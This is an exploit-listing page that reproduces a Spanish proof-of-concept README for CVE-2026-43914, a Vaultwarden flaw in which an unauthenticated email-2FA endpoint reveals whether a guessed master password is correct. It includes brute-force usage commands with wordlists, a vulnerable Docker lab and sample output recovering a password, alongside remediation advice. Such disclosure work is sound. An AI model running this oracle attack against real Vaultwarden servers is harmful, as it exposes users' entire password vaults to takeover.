Sploitus

Exploit for CVE-2026-43914-PoC

kitploit · 2026-08-25

Exploit Code

MARKDOWN92 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BOREAS37-CVE-2026-43914-POC
# CVE-2026-43914 — Omisión de la protección de fuerza bruta del Email-2FA de Vaultwarden

Prueba de concepto para **CVE-2026-43914** : cuando **Email 2FA** está habilitado, la protección de fuerza bruta del inicio de sesión de Vaultwarden puede omitirse por completo a través del endpoint no autenticado `POST /api/two-factor/send-email-login`, que actúa como un **oráculo de contraseña maestra** ilimitado.

Afectados: Vaultwarden < **1.35.4**

## Por qué es importante

Vaultwarden es el administrador de contraseñas autohospedado compatible con Bitwarden más popular. Los administradores activan el Email 2FA creyendo que detiene la adivinación de contraseñas, pero este endpoint valida el hash de la contraseña maestra y devuelve un código de estado HTTP distinto para los intentos correctos/incorrectos **antes de que se aplique cualquier limitación de velocidad o bloqueo de cuenta** :

Respuesta| Significado  
---|---  
`200`| contraseña **correcta** (correo OTP enviado)  
`400` "Username or password is incorrect"| contraseña incorrecta  
  
Un atacante que conozca (o adivine) el correo electrónico de una víctima puede forzar por fuerza bruta la contraseña maestra a toda velocidad sin ningún tipo de limitación. El Email 2FA no lo impide.

## Causa raíz (desde el código fuente, v1.35.3)

En `src/api/core/two_factor/email.rs`, el manejador `send_email_login` comprueba la contraseña y devuelve un error anticipadamente si no coincide, pero esta ruta no está registrada con el middleware de fuerza bruta/limitación que protege `/identity/connect/token`. Cada llamada:

  1. busca al usuario por correo electrónico,
  2. compara `check_valid_password(master_password_hash)` → `err!("Username or password is incorrect")` (HTTP 400) si no coincide,
  3. en caso de éxito genera y envía un OTP por correo y devuelve HTTP 200.



## Uso

root@kitploit:~
    
    
    python3 vw_bf_poc.py --host localhost --port 8222 \
        --email some-email@example.com \
        --passwords "summer2024,Qwerty123!,CorrectHorse123!"
    
    # or a wordlist:
    python3 vw_bf_poc.py --email some-email@example.com --wordlist rockyou-top1000.txt
    

Solo la biblioteca estándar de Python 3.

## Laboratorio (reproducir)

root@kitploit:~
    
    
    # mail catcher
    docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
    
    # vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
    docker run -d --name vw-lab -p 8222:80 --link mailhog \
      -e I_REALLY_WANT_VOLATILE_STORAGE=true \
      -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
      -e some-email@example.com -e DOMAIN=http://localhost:8222 \
      vaultwarden/server:1.35.3
    

Crea un usuario de prueba (cualquier cliente Bitwarden o API), activa el **Email 2FA** (Ajustes → Inicio de sesión en dos pasos → Email) y luego ejecuta el PoC contra él.

## Salida verificada

root@kitploit:~
    
    
    $ python3 vw_bf_poc.py --email some-email@example.com --passwords "wrong1,wrong2,CorrectHorse123!"
    [*] Target : localhost:8222
    [*] Victim : some-email@example.com
    [*] Trying 3 candidate passwords via send-email-login oracle
    
      [0001] 400  -  wrong1
      [0002] 400  -  wrong2
      [0003] 200  HIT!  CorrectHorse123!
    
    => PASS: master password FOUND = 'CorrectHorse123!'  (1.4s, no rate limit hit)
    

## Remediación

Actualiza a Vaultwarden **1.35.4+**. Hasta entonces: desactiva el Email 2FA en favor de TOTP/WebAuthn y coloca la instancia detrás de un proxy inverso con limitación de velocidad por IP en `/api/two-factor/*`.

## Referencias

  * GHSA-c5rv-q295-7w4g (aviso de dani-garcia/vaultwarden)
  * Aviso de Neodyme: cve-2026-43914



## Aviso legal

Solo para investigación de seguridad autorizada y uso en laboratorio.